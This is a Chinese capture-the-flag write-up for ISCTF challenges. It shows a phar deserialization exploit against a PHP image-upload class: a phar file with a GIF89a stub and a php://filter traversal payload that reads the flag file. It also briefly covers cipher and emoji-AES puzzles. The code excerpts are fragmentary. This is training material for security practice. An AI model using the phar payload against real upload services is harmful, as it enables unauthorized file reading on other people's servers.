ISCTF

upload

upload,一道phar文件上传题目

filename = $_FILES["file"]["name"];
        $this->ext = end(explode(".", $_FILES["file"]["name"]));
        $this->size = $_FILES["file"]["size"] / 1024;
        $this->Valid_ext = array("gif", "jpeg", "jpg", "png");//限制了后缀的类型
    }

    public function start(){
        return $this->check();
    }

    private function check(){

        if(file_exists($this->filename)){
            return "Image already exsists";
        }elseif(!in_array($this->ext, $this->Valid_ext)){
            return "Only Image Can Be Uploaded";
        }else{
            return $this->move();
        }
    }

    private function move(){
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$this->filename);
        return "Upload succsess!";
    }

    public function __wakeup(){
        echo file_get_contents($this->filename);
    }
}


class check_img{
    public $img_name;
    public function __construct(){
        $this->img_name = $_GET['img_name'];
    }

    public function img_check(){
        if(file_exists($this->img_name)){
            return "Image exsists";
        }else{
            return "Image not exsists";
        }
    }
}

public function __wakeup(){
        echo file_get_contents($this->filename);
    }这一段可以看出file_get_contents触发phar序列化,然后我们构造就可以

filename="php://filter/read=convert.base64-encode/resource=../../../../flag";
$phar = new Phar('aaaaaaa.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'');
$phar->setMetadata($a);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>

也就试路径这麻烦一点

 easy_upload easy_upload

扫描目录扫到一个www.rar

MISC

《MD5脏了》

g0at无意间发现了被打乱的flag:I{i?8Sms??Cd_1?T51??F_1?}
但是好像缺了不少东西,flag的md5值已经通过py交易得到了:88875458bdd87af5dd2e3c750e534741

I{i?8Sms??Cd_1?T51??F_1?}

因为题目提交的flag格式为,ISCTF{},可以看出用栅栏密码

ISCTF_第1张图片

栏数为5,然后需要爆破得到flag,本来直接套了7层循环,呃呃呃太大了跑不出来,看见了一个师傅写的脚本真的想不到,但是也有一个局限性,必须是数字才可以使用

 可爱的emoji

下载文件需要解压,密码ISCTF_第2张图片

 根据提示进行爆破,前三个是KEY,后面五个字符为字母

ISCTF_第3张图片

 

 解压出的文件都是,emoji表情包,然后进行emoji-aes

然后根据KEYISAES,,所以密钥是AES

ISCTF_第4张图片

获得flag

你可能感兴趣的:(java,开发语言)